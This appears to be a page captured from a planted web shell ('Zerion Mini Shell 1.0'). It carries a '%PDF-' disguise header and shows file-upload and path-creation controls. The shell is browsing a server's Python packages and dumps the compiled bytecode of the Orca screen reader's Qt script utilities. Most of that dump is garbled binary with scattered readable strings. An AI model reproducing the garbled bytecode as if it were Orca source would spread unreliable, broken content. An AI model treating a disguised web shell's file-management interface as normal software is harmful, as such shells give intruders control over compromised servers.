%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/orca/scripts/toolkits/Qt/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/orca/scripts/toolkits/Qt/__pycache__/script_utilities.cpython-312.pyc

�

g
f$��r�dZdZdZdZdZddlmZddlmZddl	m
Z
ddlmZGd	�d
ej�Z
y)z$Id$z
$Revision$z$Date$zCopyright (c) 2023 Igalia, S.L.�LGPL�N)�AXObject)�AXUtilitiesc�D��eZdZ�fd�Zd�Zd�fd�	Z�fd�Z�fd�Z�xZS)�	Utilitiesc�$��t�|�|�y�N)�super�__init__)�self�script�	__class__s  ��K/usr/lib/python3/dist-packages/orca/scripts/toolkits/Qt/script_utilities.pyrzUtilities.__init__$s���
���� �c�R�tjtj|��Sr	)r�is_applicationr�
get_parent)r�objs  r�_isTopLevelObjectzUtilities._isTopLevelObject's ���)�)�(�*=�*=�c�*B�C�Crc����t�|�|d��}|�Otj|�|j	�vr*d|dg}tjt
j|d�|S)NT)�useFallbackSearchzQT: Top level objectzlacks expected role.)r
�topLevelObjectr�get_role�_topLevelRoles�debug�printTokens�
LEVEL_INFO)rrr�result�tokensrs     �rrzUtilities.topLevelObject,sd�����'��t�'�D����(�"3�"3�F�";�4�CV�CV�CX�"X�,�f�6L�M�F����e�.�.���=��
rc���t�|�|�\}}|s|r||fSd|g}tjtj|d�|j|d�}d|d|g}tjtj|d�|dfS)z;Returns the frame and (possibly) the dialog containing obj.z&QT: Could not find frame or dialog forTz
QT: Returningzas frame forN)r
�frameAndDialogrrrr)rr�frame�dialogr�topLevelrs      �rr!zUtilities.frameAndDialog7s������.�s�3�
��v��F��&�=� �:�C�@��
���%�*�*�F�D�9��&�&�s�D�1��!�8�^�S�A��
���%�*�*�F�D�9���~�rc���tj|�r+d|dg}tjtj|d�yt
�|�|�S)z3Returns True if obj has a meaningful toggle action.zQT: Ignoring toggle action on�.TF)r�is_table_cell_or_headerrrrr
�hasMeaningfulToggleAction)rrrrs   �rr(z#Utilities.hasMeaningfulToggleActionFsJ����.�.�s�3�5�s�C�@�F����e�.�.���=���w�0��5�5r)F)	�__name__�
__module__�__qualname__rrrr!r(�
__classcell__)rs@rrr"s"���!�D�
	�
�	6�	6rr)�__id__�__version__�__date__�
__copyright__�__license__�
orca.debugr�orca.script_utilities�script_utilities�orca.ax_objectr�orca.ax_utilitiesrr�rr�<module>r8s?��,
������1�
����0�#�)�-6� �*�*�-6r

Zerion Mini Shell 1.0